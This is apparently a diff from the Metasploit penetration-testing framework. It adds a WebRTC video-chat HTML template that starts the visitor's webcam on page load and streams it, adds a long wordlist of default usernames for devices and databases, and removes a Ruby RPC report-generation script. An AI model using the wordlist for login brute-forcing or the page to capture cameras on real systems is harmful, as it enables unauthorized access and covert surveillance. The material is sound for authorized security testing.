|
var websocket = new WebSocket('ws://=SERVER=');
|
||||||
|
|
||||||
|
websocket.onopen = function() {
|
||||||
|
websocket.push(JSON.stringify({
|
||||||
|
open: true,
|
||||||
|
channel: channel
|
||||||
|
}));
|
||||||
|
};
|
||||||
|
|
||||||
|
websocket.push = websocket.send;
|
||||||
|
websocket.send = function(data) {
|
||||||
|
websocket.push(JSON.stringify({
|
||||||
|
data: data,
|
||||||
|
channel: channel
|
||||||
|
}));
|
||||||
|
};
|
||||||
|
|
||||||
|
var peer = new PeerConnection(websocket, '=OFFERERID=');
|
||||||
|
|
||||||
|
peer.onStreamAdded = function(e) {
|
||||||
|
var video = e.mediaElement;
|
||||||
|
video.setAttribute('width', 420);
|
||||||
|
video.setAttribute('height', 340);
|
||||||
|
video.setAttribute('controls', false);
|
||||||
|
video.volume = 0.5;
|
||||||
|
|
||||||
|
if (e.userid == 'self') {
|
||||||
|
document.getElementById("windowb").appendChild(video);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
document.getElementById("windowa").appendChild(video);
|
||||||
|
document.getElementById("message").innerHTML = "Session is now active.";
|
||||||
|
}
|
||||||
|
|
||||||
|
video.play();
|
||||||
|
};
|
||||||
|
|
||||||
|
peer.onStreamEnded = function(e) {
|
||||||
|
var video = e.mediaElement;
|
||||||
|
if (video) {
|
||||||
|
video.style.opacity = 0;
|
||||||
|
setTimeout(function() {
|
||||||
|
video.parentNode.removeChild(video);
|
||||||
|
}, 1000);
|
||||||
|
}
|
||||||
|
document.getElementById("message").innerHTML = "The video session has ended.";
|
||||||
|
};
|
||||||
|
|
||||||
|
window.onload = function() {
|
||||||
|
setTimeout(function(){
|
||||||
|
getUserMedia(function(stream) {
|
||||||
|
peer.addStream(stream);
|
||||||
|
peer.startBroadcasting();
|
||||||
|
});
|
||||||
|
}, 500);
|
||||||
|
};
|
||||||
|
|
||||||
|
function getUserMedia(callback) {
|
||||||
|
var hints = {audio:true,video:{
|
||||||
|
optional: [],
|
||||||
|
mandatory: {
|
||||||
|
minWidth: 1280,
|
||||||
|
minHeight: 720,
|
||||||
|
maxWidth: 1920,
|
||||||
|
maxHeight: 1080,
|
||||||
|
minAspectRatio: 1.77
|
||||||
|
}
|
||||||
|
}};
|
||||||
|
|
||||||
|
navigator.getUserMedia(hints,function(stream) {
|
||||||
|
var video = document.createElement('video');
|
||||||
|
video.src = URL.createObjectURL(stream);
|
||||||
|
peer.onStreamAdded({
|
||||||
|
mediaElement: video,
|
||||||
|
userid: 'self',
|
||||||
|
stream: stream
|
||||||
|
});
|
||||||
|
|
||||||
|
callback(stream);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<div class="windowa" id="windowa">
|
||||||
|
<b>You peer</b>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="dot1"></div>
|
||||||
|
<div class="dot2"></div>
|
||||||
|
<div class="dot3"></div>
|
||||||
|
|
||||||
|
<div class="windowb" id="windowb">
|
||||||
|
<b>You</b>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="windowc">
|
||||||
|
<b>Status:</b><p></p>
|
||||||
|
<span id="message">Waiting for your peer to join the video session...</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="footer">
|
||||||
|
<center><a href="http://metasploit.com/" target="_blank">metasploit.com</a></center>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</html>
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,915 @@
|
||||||
|
admin
|
||||||
|
|
||||||
|
root
|
||||||
|
Administrator
|
||||||
|
sysadm
|
||||||
|
tech
|
||||||
|
operator
|
||||||
|
guest
|
||||||
|
security
|
||||||
|
debug
|
||||||
|
manager
|
||||||
|
service
|
||||||
|
!root
|
||||||
|
user
|
||||||
|
netman
|
||||||
|
super
|
||||||
|
diag
|
||||||
|
Cisco
|
||||||
|
Manager
|
||||||
|
DTA
|
||||||
|
apc
|
||||||
|
User
|
||||||
|
Admin
|
||||||
|
cablecom
|
||||||
|
adm
|
||||||
|
wradmin
|
||||||
|
netscreen
|
||||||
|
sa
|
||||||
|
setup
|
||||||
|
cmaker
|
||||||
|
enable
|
||||||
|
MICRO
|
||||||
|
login
|
||||||
|
write
|
||||||
|
monitor
|
||||||
|
netopia
|
||||||
|
op
|
||||||
|
adminview
|
||||||
|
sysadmin
|
||||||
|
echo
|
||||||
|
craft
|
||||||
|
maint
|
||||||
|
comcast
|
||||||
|
CSG
|
||||||
|
readonly
|
||||||
|
manuf
|
||||||
|
cusadmin
|
||||||
|
smc
|
||||||
|
sweex
|
||||||
|
disttech
|
||||||
|
su
|
||||||
|
poll
|
||||||
|
SYSDBA
|
||||||
|
anonymous
|
||||||
|
support
|
||||||
|
recovery
|
||||||
|
USERID
|
||||||
|
eng
|
||||||
|
administrator
|
||||||
|
NETWORK
|
||||||
|
JDE
|
||||||
|
Guest
|
||||||
|
rwa
|
||||||
|
USER
|
||||||
|
test
|
||||||
|
lp
|
||||||
|
ro
|
||||||
|
MAIL
|
||||||
|
ami
|
||||||
|
hsa
|
||||||
|
system
|
||||||
|
MGR
|
||||||
|
ADMINISTRATOR
|
||||||
|
FIELD
|
||||||
|
PBX
|
||||||
|
HELLO
|
||||||
|
hscroot
|
||||||
|
1502
|
||||||
|
superuser
|
||||||
|
netrangr
|
||||||
|
readwrite
|
||||||
|
piranha
|
||||||
|
wlse
|
||||||
|
l3
|
||||||
|
none
|
||||||
|
naadmin
|
||||||
|
public
|
||||||
|
NETOP
|
||||||
|
MANAGER
|
||||||
|
demo
|
||||||
|
D-Link
|
||||||
|
l2
|
||||||
|
rw
|
||||||
|
cgadmin
|
||||||
|
storwatch
|
||||||
|
vcr
|
||||||
|
OPERATOR
|
||||||
|
MDaemon
|
||||||
|
jagadmin
|
||||||
|
enquiry
|
||||||
|
at4400
|
||||||
|
davox
|
||||||
|
PFCUser
|
||||||
|
aaa
|
||||||
|
topicalt
|
||||||
|
admin2
|
||||||
|
1234
|
||||||
|
nms
|
||||||
|
client
|
||||||
|
sys
|
||||||
|
field
|
||||||
|
deskman
|
||||||
|
SYSADM
|
||||||
|
superadmin
|
||||||
|
pmd
|
||||||
|
GEN2
|
||||||
|
ADMN
|
||||||
|
Factory
|
||||||
|
PRODDTA
|
||||||
|
tellabs
|
||||||
|
spcl
|
||||||
|
dadmin
|
||||||
|
helpdesk
|
||||||
|
dhs3mt
|
||||||
|
install
|
||||||
|
adfexc
|
||||||
|
IntraSwitch
|
||||||
|
manage
|
||||||
|
superman
|
||||||
|
SPOOLMAN
|
||||||
|
ADVMAIL
|
||||||
|
vt100
|
||||||
|
PSEAdmin
|
||||||
|
patrol
|
||||||
|
teacher
|
||||||
|
PCUSER
|
||||||
|
Any
|
||||||
|
RSBCMON
|
||||||
|
cellit
|
||||||
|
inads
|
||||||
|
halt
|
||||||
|
locate
|
||||||
|
TMAR#HWMT8007079
|
||||||
|
rapport
|
||||||
|
xbox
|
||||||
|
device
|
||||||
|
NICONEX
|
||||||
|
acc
|
||||||
|
31994
|
||||||
|
bcim
|
||||||
|
websecadm
|
||||||
|
blue
|
||||||
|
topicnorm
|
||||||
|
supervisor
|
||||||
|
ccrusr
|
||||||
|
266344
|
||||||
|
telecom
|
||||||
|
GEN1
|
||||||
|
SSA
|
||||||
|
HTTP
|
||||||
|
mtch
|
||||||
|
bciim
|
||||||
|
browse
|
||||||
|
hydrasna
|
||||||
|
deskres
|
||||||
|
bbsd-client
|
||||||
|
replicator
|
||||||
|
intel
|
||||||
|
radware
|
||||||
|
intermec
|
||||||
|
mlusr
|
||||||
|
init
|
||||||
|
e250
|
||||||
|
Polycom
|
||||||
|
temp1
|
||||||
|
mac
|
||||||
|
3comcso
|
||||||
|
RMUser1
|
||||||
|
WP
|
||||||
|
NAU
|
||||||
|
rcust
|
||||||
|
mtcl
|
||||||
|
topicres
|
||||||
|
bcnas
|
||||||
|
adminuser
|
||||||
|
Root
|
||||||
|
cac_admin
|
||||||
|
mediator
|
||||||
|
Anonymous
|
||||||
|
kermit
|
||||||
|
volition
|
||||||
|
GlobalAdmin
|
||||||
|
LUCENT01
|
||||||
|
LUCENT02
|
||||||
|
adminstat
|
||||||
|
desknorm
|
||||||
|
IntraStack
|
||||||
|
e500
|
||||||
|
deskalt
|
||||||
|
cust
|
||||||
|
tiara
|
||||||
|
bcms
|
||||||
|
m1122
|
||||||
|
telco
|
||||||
|
xd
|
||||||
|
dhs3pms
|
||||||
|
VNC
|
||||||
|
customer
|
||||||
|
cisco
|
||||||
|
adminstrator
|
||||||
|
ftp_nmc
|
||||||
|
me
|
||||||
|
iclock
|
||||||
|
scmadmin
|
||||||
|
installer
|
||||||
|
webadmin
|
||||||
|
ftp_inst
|
||||||
|
DDIC
|
||||||
|
SYSTEM
|
||||||
|
draytek
|
||||||
|
EARLYWATCH
|
||||||
|
super.super
|
||||||
|
ftp_oper
|
||||||
|
corecess
|
||||||
|
weblogic
|
||||||
|
system/manager
|
||||||
|
End
|
||||||
|
d.e.b.u.g
|
||||||
|
target
|
||||||
|
MD110
|
||||||
|
tiger
|
||||||
|
adminttd
|
||||||
|
wlseuser
|
||||||
|
SAPCPIC
|
||||||
|
ftp_admi
|
||||||
|
default.password
|
||||||
|
7
|
||||||
|
2
|
||||||
|
ADMIN
|
||||||
|
itsadmin
|
||||||
|
PUBSUB
|
||||||
|
CTXSYS
|
||||||
|
ftp
|
||||||
|
bill
|
||||||
|
192.168.1.1
|
||||||
|
setpriv
|
||||||
|
GUEST
|
||||||
|
SAP*
|
||||||
|
t3admin
|
||||||
|
hello
|
||||||
|
CISCO15
|
||||||
|
1.79
|
||||||
|
mso
|
||||||
|
Telecom
|
||||||
|
qsysopr
|
||||||
|
APPS
|
||||||
|
Developer
|
||||||
|
mail
|
||||||
|
qsecofr
|
||||||
|
11111
|
||||||
|
Service
|
||||||
|
netadmin
|
||||||
|
any
|
||||||
|
db2fenc1
|
||||||
|
johnson
|
||||||
|
isp
|
||||||
|
demos
|
||||||
|
QSRV
|
||||||
|
MDSYS
|
||||||
|
vpasp
|
||||||
|
TEST
|
||||||
|
QSECOFR
|
||||||
|
1
|
||||||
|
informix
|
||||||
|
5
|
||||||
|
engmode
|
||||||
|
scout
|
||||||
|
qpgmr
|
||||||
|
ADSL
|
||||||
|
images
|
||||||
|
Gearguy
|
||||||
|
Demo
|
||||||
|
serial#
|
||||||
|
BACKUP
|
||||||
|
stratacom
|
||||||
|
6.x
|
||||||
|
mary
|
||||||
|
COMPANY
|
||||||
|
SYS
|
||||||
|
DSL
|
||||||
|
Jetform
|
||||||
|
eagle
|
||||||
|
ROUTER
|
||||||
|
ods
|
||||||
|
siteadmin
|
||||||
|
Alphanetworks
|
||||||
|
Admin1
|
||||||
|
janta
|
||||||
|
servlet
|
||||||
|
username
|
||||||
|
citel
|
||||||
|
Replicator
|
||||||
|
SYSMAN
|
||||||
|
master
|
||||||
|
SUPERUSER
|
||||||
|
cn=orcladmin
|
||||||
|
30
|
||||||
|
maintainer
|
||||||
|
BRIO_ADMIN
|
||||||
|
internal
|
||||||
|
CQSCHEMAUSER
|
||||||
|
DEV2000_DEMOS
|
||||||
|
FSFTASK1
|
||||||
|
checkfs
|
||||||
|
USER1
|
||||||
|
SQLDBA
|
||||||
|
HELP
|
||||||
|
toor
|
||||||
|
qsrvbas
|
||||||
|
SYSADMIN
|
||||||
|
EZsetup
|
||||||
|
BATCH
|
||||||
|
STRAT_USER
|
||||||
|
primenet
|
||||||
|
OEMREP
|
||||||
|
USER6
|
||||||
|
lynx
|
||||||
|
powerdown
|
||||||
|
$ALOC$
|
||||||
|
password
|
||||||
|
VOL-0215
|
||||||
|
tomcat
|
||||||
|
REP_MANAGER
|
||||||
|
WinCCConnect
|
||||||
|
ALLIN1
|
||||||
|
DIRMAINT
|
||||||
|
eqadmin
|
||||||
|
QSRVBAS
|
||||||
|
AQJAVA
|
||||||
|
LASERWRITER
|
||||||
|
PERFSTAT
|
||||||
|
apcuser
|
||||||
|
MBWATCH
|
||||||
|
system_admin
|
||||||
|
unix
|
||||||
|
OWNER
|
||||||
|
NETPRIV
|
||||||
|
VSEMAINT
|
||||||
|
DEMO
|
||||||
|
SYMPA
|
||||||
|
REP_OWNER
|
||||||
|
DCL
|
||||||
|
FAX
|
||||||
|
ARCHIVIST
|
||||||
|
VTAMUSER
|
||||||
|
VMTAPE
|
||||||
|
basisk
|
||||||
|
NetLinx
|
||||||
|
OutOfBox
|
||||||
|
NETMGR
|
||||||
|
DEFAULT
|
||||||
|
OAS_PUBLIC
|
||||||
|
read
|
||||||
|
AP
|
||||||
|
MTSSYS
|
||||||
|
SYSMAINT
|
||||||
|
AUDIOUSER
|
||||||
|
Joe
|
||||||
|
IDMS
|
||||||
|
$SRV
|
||||||
|
snake
|
||||||
|
ROOT
|
||||||
|
PRINTER
|
||||||
|
shutdown
|
||||||
|
satan
|
||||||
|
RDM470
|
||||||
|
trouble
|
||||||
|
fax
|
||||||
|
OP1
|
||||||
|
admin@example.com
|
||||||
|
HOST
|
||||||
|
ADLDEMO
|
||||||
|
QS_ADM
|
||||||
|
bin
|
||||||
|
OPER
|
||||||
|
oracle
|
||||||
|
jj
|
||||||
|
PO7
|
||||||
|
www
|
||||||
|
joe
|
||||||
|
MAINT
|
||||||
|
CMSBATCH
|
||||||
|
CCC
|
||||||
|
role1
|
||||||
|
DATAMOVE
|
||||||
|
MSHOME
|
||||||
|
ISPVM
|
||||||
|
crowd-openid-server
|
||||||
|
user_editor
|
||||||
|
sedacm
|
||||||
|
db2admin
|
||||||
|
Airaya
|
||||||
|
SYSDUMP1
|
||||||
|
IMEDIA
|
||||||
|
primos_cs
|
||||||
|
USER_TEMPLATE
|
||||||
|
pnadmin
|
||||||
|
lpadmin
|
||||||
|
VTAM
|
||||||
|
TRACESVR
|
||||||
|
POSTMASTER
|
||||||
|
MAILER
|
||||||
|
RSCSV2
|
||||||
|
QS_WS
|
||||||
|
circ
|
||||||
|
nobody
|
||||||
|
Tasman
|
||||||
|
DISCOVERER_ADMIN
|
||||||
|
VMASMON
|
||||||
|
LR-ISDN
|
||||||
|
TURBINE
|
||||||
|
GL
|
||||||
|
PO
|
||||||
|
PRINT
|
||||||
|
MODTEST
|
||||||
|
GATEWAY
|
||||||
|
PRIMARY
|
||||||
|
both
|
||||||
|
haasadm
|
||||||
|
pw
|
||||||
|
games
|
||||||
|
DOCSIS_APP
|
||||||
|
bbs
|
||||||
|
EMP
|
||||||
|
postmaster
|
||||||
|
SITEMINDER
|
||||||
|
vgnadmin
|
||||||
|
RJE
|
||||||
|
gonzo
|
||||||
|
NEWS
|
||||||
|
AQUSER
|
||||||
|
UTLBSTATU
|
||||||
|
netbotz
|
||||||
|
xmi_demo
|
||||||
|
ORACACHE
|
||||||
|
MCUser
|
||||||
|
prash
|
||||||
|
sync
|
||||||
|
PM
|
||||||
|
AP2SVP
|
||||||
|
ibm
|
||||||
|
ULTIMATE
|
||||||
|
SABRE
|
||||||
|
user_pricer
|
||||||
|
SUPERVISOR
|
||||||
|
EVENT
|
||||||
|
PORTAL30_SSO_PS
|
||||||
|
FSFADMIN
|
||||||
|
OO
|
||||||
|
WKSYS
|
||||||
|
OPERATNS
|
||||||
|
UVPIM_
|
||||||
|
OE
|
||||||
|
OCITEST
|
||||||
|
web
|
||||||
|
ESSEX
|
||||||
|
None
|
||||||
|
CTXDEMO
|
||||||
|
user_designer
|
||||||
|
QDBA
|
||||||
|
role
|
||||||
|
LRISDN
|
||||||
|
tele
|
||||||
|
WEBCAL01
|
||||||
|
rsadmin
|
||||||
|
OMWB_EMULATION
|
||||||
|
WINDOWS_PASSTHRU
|
||||||
|
MOREAU
|
||||||
|
fast
|
||||||
|
host
|
||||||
|
ORDPLUGINS
|
||||||
|
SYSWRM
|
||||||
|
savelogs
|
||||||
|
SDOS_ICSAP
|
||||||
|
DSSYS
|
||||||
|
MGWUSER
|
||||||
|
TDOS_ICSAP
|
||||||
|
ssp
|
||||||
|
EJSADMIN
|
||||||
|
INGRES
|
||||||
|
DS
|
||||||
|
estheralastruey
|
||||||
|
VCSRV
|
||||||
|
ssladmin
|
||||||
|
CLARK
|
||||||
|
OEMADM
|
||||||
|
restoreonly
|
||||||
|
quser
|
||||||
|
MILLER
|
||||||
|
trmcnfg
|
||||||
|
REPORT
|
||||||
|
user_author
|
||||||
|
dpn
|
||||||
|
tour
|
||||||
|
mountfsys
|
||||||
|
http
|
||||||
|
PROG
|
||||||
|
openfiler
|
||||||
|
RAID
|
||||||
|
STARTER
|
||||||
|
FAXUSER
|
||||||
|
DSA
|
||||||
|
daemon
|
||||||
|
mountsys
|
||||||
|
backuponly
|
||||||
|
IVPM1
|
||||||
|
USER3
|
||||||
|
OPENSPIRIT
|
||||||
|
prime
|
||||||
|
HPLASER
|
||||||
|
CSPUSER
|
||||||
|
qsvr
|
||||||
|
SYSCKP
|
||||||
|
Sysop
|
||||||
|
user_marketer
|
||||||
|
IMAGEUSER
|
||||||
|
bsxuser
|
||||||
|
MASTER
|
||||||
|
USER9
|
||||||
|
OLAPSYS
|
||||||
|
rje
|
||||||
|
ODM_MTR
|
||||||
|
QS_ES
|
||||||
|
lansweeperuser
|
||||||
|
DEMO3
|
||||||
|
Username
|
||||||
|
GPLD
|
||||||
|
uucp
|
||||||
|
DBSNMP
|
||||||
|
VMARCH
|
||||||
|
SWUSER
|
||||||
|
Operator
|
||||||
|
CHEY_ARCHSVR
|
||||||
|
roo
|
||||||
|
n.a
|
||||||
|
accounting
|
||||||
|
backuprestore
|
||||||
|
dni
|
||||||
|
WEBADM
|
||||||
|
iceman
|
||||||
|
guru
|
||||||
|
anon
|
||||||
|
USER8
|
||||||
|
PORTAL30_SSO_PUBLIC
|
||||||
|
postgres
|
||||||
|
WINSABRE
|
||||||
|
USERP
|
||||||
|
IVPM2
|
||||||
|
PORTAL30_SSO
|
||||||
|
ALLIN1MAIL
|
||||||
|
POST
|
||||||
|
TEMP
|
||||||
|
BATCH1
|
||||||
|
PROMAIL
|
||||||
|
SECDEMO
|
||||||
|
ARAdmin
|
||||||
|
sadmin
|
||||||
|
ORAREGSYS
|
||||||
|
VMASSYS
|
||||||
|
man
|
||||||
|
FROSTY
|
||||||
|
LASER
|
||||||
|
tutor
|
||||||
|
DISKCNT
|
||||||
|
default
|
||||||
|
SYSERR
|
||||||
|
WWW
|
||||||
|
VAX
|
||||||
|
PROCAL
|
||||||
|
FAXWORKS
|
||||||
|
LDAP_Anonymous
|
||||||
|
(any
|
||||||
|
setup/snmp
|
||||||
|
DSGATEWAY
|
||||||
|
AWARD_SW
|
||||||
|
CSMIG
|
||||||
|
umountfsys
|
||||||
|
VMS
|
||||||
|
bpel
|
||||||
|
viewuser
|
||||||
|
TDISK
|
||||||
|
politically
|
||||||
|
user_analyst
|
||||||
|
RSCS
|
||||||
|
COMPIERE
|
||||||
|
OSP22
|
||||||
|
guest1
|
||||||
|
FORSE
|
||||||
|
factory
|
||||||
|
bubba
|
||||||
|
QUSER
|
||||||
|
primeos
|
||||||
|
glftpd
|
||||||
|
RMAN
|
||||||
|
mountfs
|
||||||
|
DIRECT
|
||||||
|
firstsite
|
||||||
|
IPFSERV
|
||||||
|
TSUSER
|
||||||
|
BATCH2
|
||||||
|
snmp
|
||||||
|
WebAdmin
|
||||||
|
IBMUSER
|
||||||
|
SMART
|
||||||
|
voadmin
|
||||||
|
BC4J
|
||||||
|
core
|
||||||
|
OPERVAX
|
||||||
|
Bobo
|
||||||
|
WANGTEK
|
||||||
|
OWA
|
||||||
|
USER2
|
||||||
|
jasperadmin
|
||||||
|
VMBSYSAD
|
||||||
|
PVM
|
||||||
|
ctb_admin
|
||||||
|
|
||||||
|
DEMO4
|
||||||
|
qsrv
|
||||||
|
superdba
|
||||||
|
PORTAL30
|
||||||
|
XPRT
|
||||||
|
Crowd
|
||||||
|
18364
|
||||||
|
ilom-admin
|
||||||
|
rdc123
|
||||||
|
sysopr
|
||||||
|
tasman
|
||||||
|
blank
|
||||||
|
WEBREAD
|
||||||
|
ODM
|
||||||
|
11111111
|
||||||
|
AURORA$ORB$UNAUTHENTICATED
|
||||||
|
ADAMS
|
||||||
|
Craft
|
||||||
|
rfmngr
|
||||||
|
SYSTEST_CLIG
|
||||||
|
user_approver
|
||||||
|
ilom-operator
|
||||||
|
Nice-admin
|
||||||
|
answer
|
||||||
|
NETNONPRIV
|
||||||
|
nuucp
|
||||||
|
CIDS
|
||||||
|
VASTEST
|
||||||
|
redline
|
||||||
|
MBMANAGER
|
||||||
|
webmaster
|
||||||
|
APPLSYS
|
||||||
|
USER4
|
||||||
|
hqadmin
|
||||||
|
UOMNI_
|
||||||
|
VMUTIL
|
||||||
|
uucpadm
|
||||||
|
EXFSYS
|
||||||
|
4Dgifts
|
||||||
|
JMUSER
|
||||||
|
CIS
|
||||||
|
UNITY_
|
||||||
|
HLW
|
||||||
|
pwrchute
|
||||||
|
IDMSSE
|
||||||
|
NSA
|
||||||
|
TELEDEMO
|
||||||
|
recover
|
||||||
|
TRAVEL
|
||||||
|
lexar
|
||||||
|
viewer
|
||||||
|
LIBRARY
|
||||||
|
PO8
|
||||||
|
root@localhost
|
||||||
|
NAMES
|
||||||
|
secofr
|
||||||
|
PDMREMI
|
||||||
|
MGE
|
||||||
|
USER7
|
||||||
|
OWA_PUBLIC
|
||||||
|
questra
|
||||||
|
builtin
|
||||||
|
SFCNTRL
|
||||||
|
boss
|
||||||
|
PLEX
|
||||||
|
OLAPDBA
|
||||||
|
OLAPSVR
|
||||||
|
user_expert
|
||||||
|
Bhosda
|
||||||
|
gropher
|
||||||
|
TAHITI
|
||||||
|
NEWINGRES
|
||||||
|
VM3812
|
||||||
|
VIF_DEVELOPER
|
||||||
|
joeuser
|
||||||
|
IPC
|
||||||
|
HELPDESK
|
||||||
|
wlpisystem
|
||||||
|
TSAFVM
|
||||||
|
prtgadmin
|
||||||
|
UAMIS_
|
||||||
|
theman
|
||||||
|
CISINFO
|
||||||
|
mobile
|
||||||
|
QS_CB
|
||||||
|
CDEMORID
|
||||||
|
DEMO2
|
||||||
|
PORTAL30_PUBLIC
|
||||||
|
MDDEMO_CLERK
|
||||||
|
PHANTOM
|
||||||
|
ODS
|
||||||
|
BLAKE
|
||||||
|
TSDEV
|
||||||
|
PRODBM
|
||||||
|
dos
|
||||||
|
APL2PP
|
||||||
|
god1
|
||||||
|
CICSUSER
|
||||||
|
22222222
|
||||||
|
user_publisher
|
||||||
|
OSE$HTTP$ADMIN
|
||||||
|
def
|
||||||
|
SuperUser
|
||||||
|
QS_CBADM
|
||||||
|
SYSA
|
||||||
|
STUDENT
|
||||||
|
Draytek
|
||||||
|
SMDR
|
||||||
|
EREP
|
||||||
|
VSEMAN
|
||||||
|
fwadmin
|
||||||
|
MTS_USER
|
||||||
|
AQDEMO
|
||||||
|
private
|
||||||
|
IS_$hostname
|
||||||
|
HPSupport
|
||||||
|
ORASSO
|
||||||
|
CVIEW
|
||||||
|
SH
|
||||||
|
XXSESS_MGRYY
|
||||||
|
VMMAP
|
||||||
|
PORTAL30_DEMO
|
||||||
|
Ezsetup
|
||||||
|
QS_CS
|
||||||
|
CMSUSER
|
||||||
|
DEMO1
|
||||||
|
userNotUsed
|
||||||
|
ncadmin
|
||||||
|
TESTPILOT
|
||||||
|
fg_sysadmin
|
||||||
|
UETP
|
||||||
|
QS
|
||||||
|
DBI
|
||||||
|
JWARD
|
||||||
|
APPS_MRC
|
||||||
|
Moe
|
||||||
|
SENTINEL
|
||||||
|
Yak
|
||||||
|
PDP11
|
||||||
|
Flo
|
||||||
|
SLIDE
|
||||||
|
INFO
|
||||||
|
checkfsys
|
||||||
|
PRODCICS
|
||||||
|
MXAGENT
|
||||||
|
VMTLIBR
|
||||||
|
POWERCARTUSER
|
||||||
|
VMBACKUP
|
||||||
|
CPNUC
|
||||||
|
distrib
|
||||||
|
MIGRATE
|
||||||
|
CDEMOUCB
|
||||||
|
OLTSEP
|
||||||
|
sysbin
|
||||||
|
signa
|
||||||
|
autocad
|
||||||
|
WEBDB
|
||||||
|
ncrm
|
||||||
|
SAMPLE
|
||||||
|
HCPARK
|
||||||
|
ALLINONE
|
||||||
|
nm2user
|
||||||
|
SAVSYS
|
||||||
|
IIPS
|
||||||
|
PATROL
|
||||||
|
mailadmin
|
||||||
|
TMSADM
|
||||||
|
ESubscriber
|
||||||
|
software
|
||||||
|
god2
|
||||||
|
FSFTASK2
|
||||||
|
ORDSYS
|
||||||
|
gopher
|
||||||
|
PSFMAINT
|
||||||
|
EAdmin
|
||||||
|
12345
|
||||||
|
DECNET
|
||||||
|
OPERATIONS
|
||||||
|
$system
|
||||||
|
PANAMA
|
||||||
|
LIBRARIAN
|
||||||
|
fal
|
||||||
|
NETSERVER
|
||||||
|
POWERCHUTE
|
||||||
|
USER5
|
||||||
|
GPFD
|
||||||
|
QS_OS
|
||||||
|
REPADMIN
|
||||||
|
0
|
||||||
|
DEMO8
|
||||||
|
DEMO9
|
||||||
|
CDEMO82
|
||||||
|
umountsys
|
||||||
|
USER0
|
||||||
|
CDEMOCOR
|
||||||
|
SYSTEST
|
||||||
|
Rodopi
|
||||||
|
user_checker
|
||||||
|
qserv
|
||||||
|
AQ
|
||||||
|
SAPR3
|
||||||
|
VRR1
|
||||||
|
fastwire
|
||||||
|
admi
|
||||||
|
FINANCE
|
||||||
|
WinCCAdmin
|
||||||
|
ESTOREUSER
|
||||||
|
VIRUSER
|
||||||
|
LINK
|
||||||
|
APPLSYSPUB
|
||||||
|
overseer
|
||||||
|
checksys
|
||||||
|
umountfs
|
||||||
|
DBDCCICS
|
||||||
|
TOAD
|
||||||
|
ntpupdate
|
||||||
|
MDDEMO_MGR
|
||||||
|
billy-bob
|
||||||
|
DECMAIL
|
||||||
|
alien
|
||||||
|
nsroot
|
||||||
|
AdvWebadmin
|
||||||
|
dvstation
|
||||||
|
SERVICECONSUMER1
|
||||||
|
MMO2
|
||||||
|
NOC
|
||||||
|
WWWUSER
|
||||||
|
SAP
|
||||||
|
NEVIEW
|
||||||
|
ODSCOMMON
|
||||||
|
pixadmin
|
||||||
|
ripeop
|
||||||
|
PENG
|
||||||
|
netlink
|
||||||
|
L2LDEMO
|
||||||
|
OUTLN
|
||||||
|
12.x
|
||||||
|
scott
|
||||||
|
dbase
|
||||||
|
fam
|
||||||
|
Oper
|
||||||
|
RMAIL
|
||||||
|
FND
|
||||||
|
PRIV
|
||||||
|
SETUP
|
||||||
|
news
|
||||||
|
VSEIPO
|
||||||
|
ilon
|
||||||
|
PLSQL
|
||||||
|
politcally
|
||||||
|
18140815
|
||||||
|
APPUSER
|
||||||
|
CENTRA
|
||||||
|
LBACSYS
|
||||||
|
PDP8
|
||||||
|
SFCMI
|
||||||
|
lpadm
|
||||||
|
Test
|
||||||
|
bewan
|
||||||
|
DIP
|
||||||
|
mfd
|
||||||
|
MDDEMO
|
||||||
|
SWPRO
|
||||||
|
DES
|
||||||
|
Coco
|
||||||
|
GCS
|
||||||
|
rodopi
|
||||||
|
Scott
|
||||||
|
Admin5
|
||||||
|
ANDY
|
||||||
|
DESQUETOP
|
||||||
|
NETCON
|
||||||
|
JONES
|
||||||
|
author
|
||||||
|
MOESERV
|
||||||
|
PUBSUB1
|
||||||
|
CATALOG
|
||||||
|
SQLUSER
|
||||||
|
RE
|
||||||
|
REPORTS_USER
|
||||||
|
MFG
|
||||||
|
HR
|
||||||
|
VIDEOUSER
|
||||||
|
DBA
|
||||||
|
AUTOLOG1
|
||||||
|
AURORA$JIS$UTILITY$
|
||||||
|
wlcsystem
|
||||||
|
CPRM
|
|
@ -1,126 +0,0 @@
|
||||||
#!/usr/bin/env ruby
|
|
||||||
|
|
||||||
require 'rubygems'
|
|
||||||
require 'optparse'
|
|
||||||
require 'msfrpc-client'
|
|
||||||
require 'rex/ui'
|
|
||||||
|
|
||||||
def usage(ropts)
|
|
||||||
$stderr.puts ropts
|
|
||||||
|
|
||||||
if @rpc and @rpc.token
|
|
||||||
wspaces = @rpc.call("pro.workspaces") rescue {}
|
|
||||||
if wspaces.keys.length > 0
|
|
||||||
$stderr.puts "Active Projects:"
|
|
||||||
wspaces.each_pair do |k,v|
|
|
||||||
$stderr.puts "\t#{k}"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
$stderr.puts ""
|
|
||||||
exit(1)
|
|
||||||
end
|
|
||||||
|
|
||||||
opts = {
|
|
||||||
:format => 'PDF'
|
|
||||||
}
|
|
||||||
|
|
||||||
parser = Msf::RPC::Client.option_parser(opts)
|
|
||||||
|
|
||||||
parser.separator('Report Options:')
|
|
||||||
parser.on("--format FORMAT") do |v|
|
|
||||||
opts[:format] = v.upcase
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--project PROJECT") do |v|
|
|
||||||
opts[:project] = v
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--output OUTFILE") do |v|
|
|
||||||
opts[:output] = v
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--help") do
|
|
||||||
$stderr.puts parser
|
|
||||||
exit(1)
|
|
||||||
end
|
|
||||||
parser.separator('')
|
|
||||||
|
|
||||||
parser.parse!(ARGV)
|
|
||||||
@rpc = Msf::RPC::Client.new(opts)
|
|
||||||
|
|
||||||
if not @rpc.token
|
|
||||||
$stderr.puts "Error: Invalid RPC server options specified"
|
|
||||||
$stderr.puts parser
|
|
||||||
exit(1)
|
|
||||||
end
|
|
||||||
|
|
||||||
project = opts[:project] || usage(parser)
|
|
||||||
fname = opts[:output] || usage(parser)
|
